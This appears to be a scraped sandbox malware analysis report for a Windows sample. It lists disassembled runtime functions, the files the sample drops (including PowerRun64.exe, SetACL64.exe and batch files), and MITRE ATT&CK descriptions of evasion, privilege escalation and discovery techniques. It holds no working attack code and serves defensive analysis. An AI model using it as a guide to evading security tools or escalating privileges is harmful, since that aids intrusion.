Instruction ID: 8fb9d9cfe0efff0bde84a34bbf3419f0901001541dfe7c12f0fb6b9d8fcce211
Opcode Fuzzy Hash: 87cf0034b0fcd9c54c61c9bab6167fa2d33436d6331be54f9b1c0558e02e15ee
Instruction Fuzzy Hash: 05114F32608B8186D760DF56F4402AAB7A4F7CDB90F54413AEE8D43B1ACF3CD4508B50

Function 00007FF7C1744C18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7C1741032), ref: 00007FF7C1744C5C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7C1741032), ref: 00007FF7C1744CA2

Strings

csm, xrefs: 00007FF7C1744C8F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 926c8d61ae619e4cea6d38c76edcc3f0fce93d5721c54efb26694986da39f2c5
Instruction ID: 017d4dd02b8d8bea632ad6e024212759312f35952737121bb06c49b965d5cbba
Opcode Fuzzy Hash: 926c8d61ae619e4cea6d38c76edcc3f0fce93d5721c54efb26694986da39f2c5
Instruction Fuzzy Hash: 43114C32618B8582EB209F16E440269B7E1FB88BA4F584230EE8D07769DF7CD565CB04

Function 00007FF7C1701300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00007FF7C1701306
GetLastError.KERNEL32 ref: 00007FF7C1701318

Strings

tss, xrefs: 00007FF7C170134E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocErrorLast
String ID: tss
API String ID: 4252645092-1638339373
Opcode ID: 1bc407a74f966e2ffa7869833deab5959a39b40ad1bf5c22f53a82972e40eb05
Instruction ID: 7f4c57b0544c791ee8745bf7f3f4360cc2b2201d4555660f09e030ccc0f0e845
Opcode Fuzzy Hash: 1bc407a74f966e2ffa7869833deab5959a39b40ad1bf5c22f53a82972e40eb05
Instruction Fuzzy Hash: B2F0FF31A0864282EB10BF26A88007DE3A0BF5D374FE00531D65E42BE6DFBCE514CB20

Function 00007FF7C1757E5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C1757E85
TlsSetValue.KERNEL32(?,?,000083BA01AAD97A,00007FF7C175402A,?,?,000083BA01AAD97A,00007FF7C174E201,?,?,?,?,00007FF7C175BCFA,?,?,00000000), ref: 00007FF7C1757E9C

Strings

FlsSetValue, xrefs: 00007FF7C1757E72

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 338cb8ce972258a4f0b821b8ea037a51c1abbc8605fb70ebcfd02633c2e470e7
Instruction ID: 40cbcc0fdf7d0872d478ab987c7dc95ecd2f3207101116cdd263fb4647b9b80d
Opcode Fuzzy Hash: 338cb8ce972258a4f0b821b8ea037a51c1abbc8605fb70ebcfd02633c2e470e7
Instruction Fuzzy Hash: 53E06561B18A4291EB09BF53F4144B8A362AF4C7A0FD88036D90D06756CFBCD894C360

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ms63nDrOBa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\Aygldmdino.ico

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe.config

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\win_version_csharp.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
Ms63nDrOBa.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre